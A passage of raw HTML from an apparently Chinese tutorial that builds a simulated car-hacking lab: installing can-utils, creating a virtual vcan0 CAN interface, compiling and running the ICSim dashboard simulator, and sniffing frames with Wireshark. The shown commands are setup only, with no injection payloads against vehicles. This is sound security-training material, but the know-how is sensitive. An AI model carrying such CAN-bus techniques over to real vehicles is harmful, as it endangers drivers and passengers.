20px;\" data-pm-slice=\"0 0 []\"><span leaf=\"\" style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);font-weight: 600;\">\u7b2c\u4e09\u6b65\uff1a\u5b89\u88c5CAN\u5de5\u5177\u94fe<\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u6253\u5f00Ubuntu\u7ec8\u7aef\uff08\u5feb\u6377\u952e\uff1aCtrl+Alt+T\uff09\uff0c\u4f9d\u6b21\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\uff1a<\/span><\/p>\n<section class=\"code-snippet__fix code-snippet__js\">\n<ul class=\"code-snippet__line-index code-snippet__js\">\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<\/ul>\n<pre class=\"code-snippet__js\" data-lang=\"bash\"><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u7b2c\u4e00\u6b65\uff1a\u66f4\u65b0\u8f6f\u4ef6\u5305\u5217\u8868<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">sudo<\/span>&nbsp;apt update<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u7b2c\u4e8c\u6b65\uff1a\u5b89\u88c5CAN\u603b\u7ebf\u5de5\u5177\u96c6\uff08\u6838\u5fc3\u5de5\u5177\uff01\u5fc5\u88c5\uff09<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># can-utils \u5305\u542b\uff1acansend, candump, canplayer, cangen, cansniffer \u7b49<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">sudo<\/span>&nbsp;apt install -y can-utils vcan-utils git build-essential<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u7b2c\u4e09\u6b65\uff1a\u9a8c\u8bc1\u5b89\u88c5\u6210\u529f<\/span><\/span><\/code><code><span leaf=\"\">candump --version<\/span><\/code><code><span leaf=\"\">cansend --version<\/span><\/code><\/pre>\n<\/section>\n<p style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 13px;color: rgb(136, 136, 136);margin-top: 8px;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\u9884\u671f\u8f93\u51fa\uff1a\u663e\u793a\u5de5\u5177\u7248\u672c\u53f7\uff0c\u65e0\u62a5\u9519\u5373\u4e3a\u5b89\u88c5\u6210\u529f\u3002<\/span><\/p>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(68, 68, 68);margin-top: 20px;\"><span leaf=\"\" style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);font-weight: 600;\">\u7b2c\u56db\u6b65\uff1a\u914d\u7f6e\u865a\u62dfCAN\u7f51\u7edc<\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u8fd9\u4e00\u6b65\u662f\u6574\u4e2a\u73af\u5883\u642d\u5efa\u7684\u6838\u5fc3\u2014\u2014\u5728Linux\u7cfb\u7edf\u4e2d\u521b\u5efa\u4e00\u6761\u865a\u62df<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u3002<\/span><\/p>\n<section class=\"code-snippet__fix code-snippet__js\">\n<ul class=\"code-snippet__line-index code-snippet__js\">\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<\/ul>\n<pre class=\"code-snippet__js\" data-lang=\"bash\"><code><span leaf=\"\"><span class=\"code-snippet__comment\"># 1. \u52a0\u8f7d vcan \u5185\u6838\u6a21\u5757\uff08\u544a\u8bc9Linux\u542f\u7528\u865a\u62dfCAN\u529f\u80fd\uff09<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">sudo<\/span>&nbsp;modprobe vcan<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># 2. \u521b\u5efa\u540d\u4e3a vcan0 \u7684\u865a\u62dfCAN\u63a5\u53e3<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">sudo<\/span>&nbsp;ip&nbsp;<span class=\"code-snippet__built_in\">link<\/span>&nbsp;add dev vcan0&nbsp;<span class=\"code-snippet__built_in\">type<\/span>&nbsp;vcan<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># 3. \u6fc0\u6d3b vcan0 \u63a5\u53e3\uff08\u8ba9vcan0\u5f00\u59cb\u5de5\u4f5c\uff09<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">sudo<\/span>&nbsp;ip&nbsp;<span class=\"code-snippet__built_in\">link<\/span>&nbsp;<span class=\"code-snippet__built_in\">set<\/span>&nbsp;vcan0 up<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># 4. \u9a8c\u8bc1\uff1a\u67e5\u770bvcan0\u7684\u72b6\u6001<\/span><\/span><\/code><code><span leaf=\"\">ip -details&nbsp;<span class=\"code-snippet__built_in\">link<\/span>&nbsp;show vcan0<\/span><\/code><\/pre>\n<\/section>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span style=\"color: rgb(192, 57, 43);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 245, 245);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;\"><span style=\"color: rgb(136, 136, 136);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\u6210\u529f\u7684\u6807\u5fd7\uff1a\u8f93\u51fa\u4e2d\u5305\u542b&nbsp;<\/span><\/span><code style=\"color: rgb(136, 136, 136);font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background: rgb(238, 238, 238);padding: 2px 6px;border-radius: 4px;\"><span leaf=\"\">state UP<\/span><\/code><span style=\"color: rgb(136, 136, 136);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;\"><span leaf=\"\">&nbsp;\u548c&nbsp;<\/span><\/span><code style=\"color: rgb(136, 136, 136);font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background: rgb(238, 238, 238);padding: 2px 6px;border-radius: 4px;\"><span leaf=\"\">mtu 16<\/span><\/code><span style=\"color: rgb(136, 136, 136);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;\"><span leaf=\"\">\u3002<\/span><\/span><\/span><\/p>\n<section class=\"code-snippet__fix code-snippet__js\">\n<ul class=\"code-snippet__line-index code-snippet__js\">\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<\/ul>\n<pre class=\"code-snippet__js\" data-lang=\"bash\"><code><span leaf=\"\"><span class=\"code-snippet__comment\"># 5.\u3010\u53ef\u9009\u3011\u8ba9vcan0\u5728\u7cfb\u7edf\u91cd\u542f\u540e\u81ea\u52a8\u521b\u5efa<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u521b\u5efa\u914d\u7f6e\u6587\u4ef6<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">sudo<\/span>&nbsp;bash -c&nbsp;<span class=\"code-snippet__string\">'cat &gt; \/etc\/network\/interfaces.d\/vcan0 &lt;&lt; EOF<\/span><\/span><\/code><code><span leaf=\"\">iface vcan0 inet manual<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; pre-up ip link add dev vcan0 type vcan<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; up ip link set vcan0 up<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; post-down ip link del vcan0<\/span><\/code><code><span leaf=\"\">EOF'<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># 6.\u3010\u53ef\u9009\u3011\u67e5\u770b\u5f53\u524d\u6240\u6709\u7f51\u7edc\u63a5\u53e3\uff08\u5e94\u8be5\u80fd\u770b\u5230vcan0\uff09<\/span><\/span><\/code><code><span leaf=\"\">ip&nbsp;<span class=\"code-snippet__built_in\">link<\/span>&nbsp;show<\/span><\/code><\/pre>\n<\/section>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(68, 68, 68);margin-top: 20px;\" data-pm-slice=\"0 0 []\"><span leaf=\"\" style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);font-weight: 600;\">\u7b2c\u4e94\u6b65\uff1a\u5b89\u88c5ICSim\u6c7d\u8f66\u6a21\u62df\u5668<\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">ICSim\uff08Instrument Cluster Simulator\uff09\u662f\u5f00\u6e90\u793e\u533a\u6700\u6d41\u884c\u7684<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u6a21\u62df\u5668\uff0c\u5b83\u53ef\u4ee5\u6a21\u62df\u4e00\u8f86\u6c7d\u8f66\u7684\u4eea\u8868\u76d8\uff08\u901f\u5ea6\u3001\u8f6c\u901f\u3001\u8f66\u95e8\u72b6\u6001\u7b49\uff09\uff0c\u8ba9\u6211\u4eec\u7684\u865a\u62df<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u6709\u4e86\u771f\u5b9e\u7684&#8221;\u6c7d\u8f66\u7aef&#8221;\u54cd\u5e94\u3002<\/span><\/p>\n<section class=\"code-snippet__fix code-snippet__js\">\n<ul class=\"code-snippet__line-index code-snippet__js\">\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<\/ul>\n<pre class=\"code-snippet__js\" data-lang=\"bash\"><code><span leaf=\"\"><span class=\"code-snippet__comment\"># 1. \u521b\u5efa\u5de5\u4f5c\u76ee\u5f55\u5e76\u8fdb\u5165<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">mkdir<\/span>&nbsp;-p ~\/car-security &amp;&amp;&nbsp;<span class=\"code-snippet__built_in\">cd<\/span>&nbsp;~\/car-security<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># 2. \u5b89\u88c5ICSim\u7f16\u8bd1\u6240\u9700\u7684\u4f9d\u8d56<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">sudo<\/span>&nbsp;apt install -y libsdl2-dev libsdl2-image-dev<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># 3. \u514b\u9686ICSim\u9879\u76ee\u6e90\u7801<\/span><\/span><\/code><code><span leaf=\"\">git&nbsp;<span class=\"code-snippet__built_in\">clone<\/span>&nbsp;https:\/\/github.com\/zombieCraig\/ICSim.git<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># 4. \u8fdb\u5165\u76ee\u5f55\u5e76\u7f16\u8bd1<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">cd<\/span>&nbsp;ICSim<\/span><\/code><code><span leaf=\"\">make clean &amp;&amp; make<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># 5. \u9a8c\u8bc1\u7f16\u8bd1\u4ea7\u7269\uff08\u5e94\u8be5\u770b\u5230 icsim \u548c controls \u4e24\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\uff09<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">ls<\/span>&nbsp;-lh icsim controls<\/span><\/code><\/pre>\n<\/section>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(68, 68, 68);margin-top: 20px;\" data-pm-slice=\"0 0 []\"><span leaf=\"\" style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);font-weight: 600;\">\u7b2c\u516d\u6b65\uff1a\u542f\u52a8ICSim\u6a21\u62df\u5668\uff08\u91cd\u8981\uff1a\u9700\u8981\u4e24\u4e2a\u7ec8\u7aef\uff09<\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">ICSim\u5206\u4e3a\u4e24\u90e8\u5206\uff1a<\/span><strong><span leaf=\"\">icsim<\/span><\/strong><span leaf=\"\">\uff08\u4eea\u8868\u76d8\u6a21\u62df\u5668\uff09\u548c<\/span><strong><span leaf=\"\">controls<\/span><\/strong><span leaf=\"\">\uff08\u63a7\u5236\u5668\uff09\u3002\u4e24\u8005\u9700\u8981\u540c\u65f6\u8fd0\u884c\uff0c\u5206\u522b\u5728\u4e24\u4e2a\u7ec8\u7aef\u7a97\u53e3\u4e2d\u3002<\/span><\/p>\n<section class=\"code-snippet__fix code-snippet__js\">\n<ul class=\"code-snippet__line-index code-snippet__js\">\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<\/ul>\n<pre class=\"code-snippet__js\" data-lang=\"bash\"><code><span leaf=\"\"><span class=\"code-snippet__comment\"># ===== \u7ec8\u7aef\u7a97\u53e31\uff1a\u542f\u52a8\u6c7d\u8f66\u4eea\u8868\u76d8\u6a21\u62df\u5668 =====<\/span><\/span><\/code><code><span leaf=\"\">.\/icsim vcan0<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u9884\u671f\uff1a\u5f39\u51fa\u4e00\u4e2a\u7a97\u53e3\uff0c\u663e\u793a\u6c7d\u8f66\u4eea\u8868\u76d8\uff08\u901f\u5ea6\u8868\u3001\u8f6c\u901f\u8868\u3001\u8f66\u95e8\u6307\u793a\u706f\u7b49\uff09<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u6ce8\u610f\uff1a\u8fd9\u4e2a\u7a97\u53e3\u4e0d\u8981\u5173\u95ed\uff01<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># ===== \u7ec8\u7aef\u7a97\u53e32\uff1a\u6253\u5f00\u53e6\u4e00\u4e2a\u7ec8\u7aef\uff08Ctrl+Shift+T\u65b0\u5efa\u6807\u7b7e\u9875\uff09=====<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">cd<\/span>&nbsp;~\/car-security\/ICSim<\/span><\/code><code><span leaf=\"\">.\/controls vcan0<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u9884\u671f\uff1a\u5728\u8fd0\u884cicsim\u7684\u7a97\u53e3\u4e2d\uff0c\u4eea\u8868\u76d8\u53d8\u4e3a\u53ef\u64cd\u63a7\u72b6\u6001<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u7528\u952e\u76d8\u65b9\u5411\u952e\u63a7\u5236\uff1a\u2191\u52a0\u901f \u2193\u5239\u8f66 \u2190\u8f6c\u5411 \u2192\u8f6c\u5411<\/span><\/span><\/code><\/pre>\n<\/section>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-top: 20px;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\u2705&nbsp;<\/span><strong><span leaf=\"\">\u9a8c\u8bc1\u6210\u529f<\/span><\/strong><span leaf=\"\">\uff1a\u5f53\u4f60\u6309\u65b9\u5411\u952e&#8221;\u2191&#8221;\u65f6\uff0cICSim\u4eea\u8868\u76d8\u7684\u901f\u5ea6\u6307\u9488\u5e94\u8be5\u4e0a\u5347\uff1b\u6309&#8221;\u2193&#8221;\u65f6\u901f\u5ea6\u4e0b\u964d\u3002\u8fd9\u8bf4\u660evcan0\u6b63\u5e38\u5de5\u4f5c\uff0cicsim\u548ccontrols\u4e4b\u95f4\u901a\u8fc7\u865a\u62df<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u901a\u4fe1\u3002<\/span><\/p>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(68, 68, 68);margin-top: 20px;\"><span leaf=\"\" style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);font-weight: 600;\">\u7b2c\u4e03\u6b65\uff08\u53ef\u9009\uff09\uff1a\u5b89\u88c5Wireshark\u8fdb\u884c\u534f\u8bae\u5206\u6790<\/span><\/h4>\n<section class=\"code-snippet__fix code-snippet__js\">\n<ul class=\"code-snippet__line-index code-snippet__js\">\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<\/ul>\n<pre class=\"code-snippet__js\" data-lang=\"bash\"><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u5b89\u88c5Wireshark\uff08CAN\u5e27\u6293\u5305\u5206\u6790\u5de5\u5177\uff09<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">sudo<\/span>&nbsp;apt install -y wireshark<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u5b89\u88c5\u65f6\u9009\u62e9\"\u5141\u8bb8\u975eroot\u7528\u6237\u6293\u5305\"<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u542f\u52a8Wireshark\uff0c\u9009\u62e9vcan0\u63a5\u53e3\u5f00\u59cb\u6293\u5305<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">sudo<\/span>&nbsp;wireshark -i vcan0 -k<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u8fc7\u6ee4\u5668\u793a\u4f8b\uff1a\u53ea\u663e\u793aCAN ID\u4e3a0x1A4\u7684\u5e27<\/span><\/span><\/code><code><span leaf=\"\">can.id == 0x1A4<\/span><\/code><\/pre>\n<\/section>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\" data-pm-slice=\"0 0 []\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">3.3 \u786c\u4ef6\u65b9\u6848\u7b80\u4ecb\uff08\u6811\u8393\u6d3e+CAN Hat\uff09<\/span><\/span><\/h3>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u5f53\u719f\u6089\u4e86\u7eaf\u8f6f\u4ef6\u73af\u5883\u540e\uff0c\u5982\u679c\u4f60\u60f3\u63a5\u89e6<\/span><strong><span leaf=\"\">\u771f\u5b9e\u7684CAN\u7269\u7406\u5c42\u4fe1\u53f7<\/span><\/strong><span leaf=\"\">\uff0c\u53ef\u4ee5\u5347\u7ea7\u5230\u786c\u4ef6\u65b9\u6848\uff1a<\/span><\/p>\n<table style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 680px;border-collapse: collapse;margin: 16px 0px;font-size: 14px;\">\n<tbody>\n<tr style=\"background: rgb(21, 101, 192);color: rgb(255, 255, 255);font-weight: 600;\">\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 0, 0);\">\u786c\u4ef6<\/span><\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 0, 0);\">\u63a8\u8350\u578b\u53f7<\/span><\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 0, 0);\">\u53c2\u8003\u4ef7\u683c<\/span><\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 